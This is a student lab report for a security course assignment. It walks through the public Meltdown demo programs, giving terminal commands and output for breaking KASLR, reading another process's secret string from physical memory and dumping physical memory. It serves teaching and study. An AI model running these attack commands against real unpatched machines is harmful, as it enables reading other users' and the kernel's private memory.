

CS6570 Assignment 6 - Meltdown - Report

Rachit Tibrewal (CS16B022)
E Santhosh Kumar (CS16B107)

1. The first demo ./test chooses a character array in global data and fetches its contents using libkdump_read. It works as expected. This indicates that libkdump_read is able to read from addresses in the address space of the current process. (refer Figure 1)

```
~/D/C/6/meltdown >>> taskset 0x1 ./test
Expect: Would you like fries with that?
Got: Would you like fries with that?
~/D/C/6/meltdown >>>
```

Figure 1: Demo 1 - First Test

2. The second demo ./kaslr fails to identify the offset of the direct physical map that maps the entire physical memory. Hence we use the kernel module in kaslr_offset to get the offset directly. The offset was found to be at 0xffff880000000000. (refer Figure 2)

```
~/D/C/6/m/kaslr_offset >>> sudo ./direct_physical_map.sh
[+] Loading kernel module
[+] Direct physical map offset at 0xffff880000000000
```

Figure 2: Demo 2 - Breaking KASLR

3. For the third demo, we use the above found offset and run ./reliability with kaslr turned on. The success rate was observed to be 95.65% after trying to read around 2000 values (refer Figure 3).

```
~/D/C/6/meltdown >>>
~/D/C/6/meltdown >>> sudo taskset 0x1 ./reliability 0xffff880000000000
[+] Setting physical offset to 0xffff880000000000
[/] Success rate: 95.65% (read 2001 values) ^C
~/D/C/6/meltdown >>>
```

Figure 3: Demo 3 - reliability

4. For the fourth demo, we run a target process ./secret (refer Figure 4) that contains a secret string whose physical address is known. We then simultaneously run the attack process ./physical_reader (refer Figure 5) to read this string. We pass the physical address, along with direct physical map offset to the attacker, so that we know the final offset to start reading from. As we see in Figure 5, the attacker manages to read the string with some errors (the first word is read incorrectly).

```
~/D/C/6/meltdown >>> sudo ./secret
[+] Secret: Welcome to the wonderful world of microarchitectural attacks
[+] Physical address of secret: 0x245ac628
[+] Exit with Ctrl+C if you are done reading the secret
^C
~/D/C/6/meltdown >>> █
```

Figure 4: Demo 4 - Read physical memory - Target

```
~/D/C/6/meltdown >>> sudo taskset 0x1 ./physical_reader 0x245ac628 0xffff880000000000
[+] Physical address : 0x245ac628
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff8800245ac628

e to the wonderful world of microarchitectural attacks
^C
~/D/C/6/meltdown >>> █
```

Figure 5: Demo 4 - Read physical memory - Attacker

5. In the fifth demo, we try dumping the physical memory starting from an offset. We first run a process `./memory_filler` (refer Figure 6) to fill 4GB of memory with human readable character. We then simultaneously run the attack process `./memdump` (refer Figure 7) to start dumping.

```
~/D/C/6/meltdown >>> ./memory_filler 4
[+] Press any key if you are done reading the secret
█
```

Figure 6: Demo 5 - Dump the memory - fills memory

```
~/D/C/6/meltdown >>> taskset 0x1 ./memdump 0x24000000 -1 0xffff880000000000
[+] Physical address      : 0x24000000
[+] Physical offset      : 0xffff880000000000
[+] Virtual address      : 0xffff880024000000
24000c70: | 00 00 00 00 00 00 00 00 00 00 d9 00 00 00 00 00 | ..... |
24004c40: | 00 00 00 00 00 00 00 00 c8 51 fe b4 01 88 ff ff | .....Q..... |
24004c50: | 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ..... |
24004c70: | 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 00 00 | ..... |
240063b0: | 00 00 00 00 00 00 5d 00 00 00 00 00 00 00 00 00 | .....]..... |
24008c70: | 00 00 00 00 00 00 00 00 ea 00 00 00 00 00 00 00 | ..... |
2400bc60: | 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ..... |
2400bc70: | 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 | ..... |
24010c70: | 70 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 | p..... |
24011420: | 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 00 00 | ..... |
24014c40: | 00 00 00 00 00 00 00 00 c8 3e 00 b4 01 08 00 00 | .....>..... |
24014c70: | 00 00 00 00 00 00 00 00 00 00 1b 00 00 00 00 00 | ..... |
24015280: | 00 00 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 | ..... |
24015310: | 00 00 00 00 00 00 00 00 5d 00 00 00 00 00 00 00 | .....]..... |
24015c40: | 00 00 00 00 00 00 00 00 00 00 b4 00 00 00 00 00 | ..... |
█
```

Figure 7: Demo 5 - Dump the memory - Attacker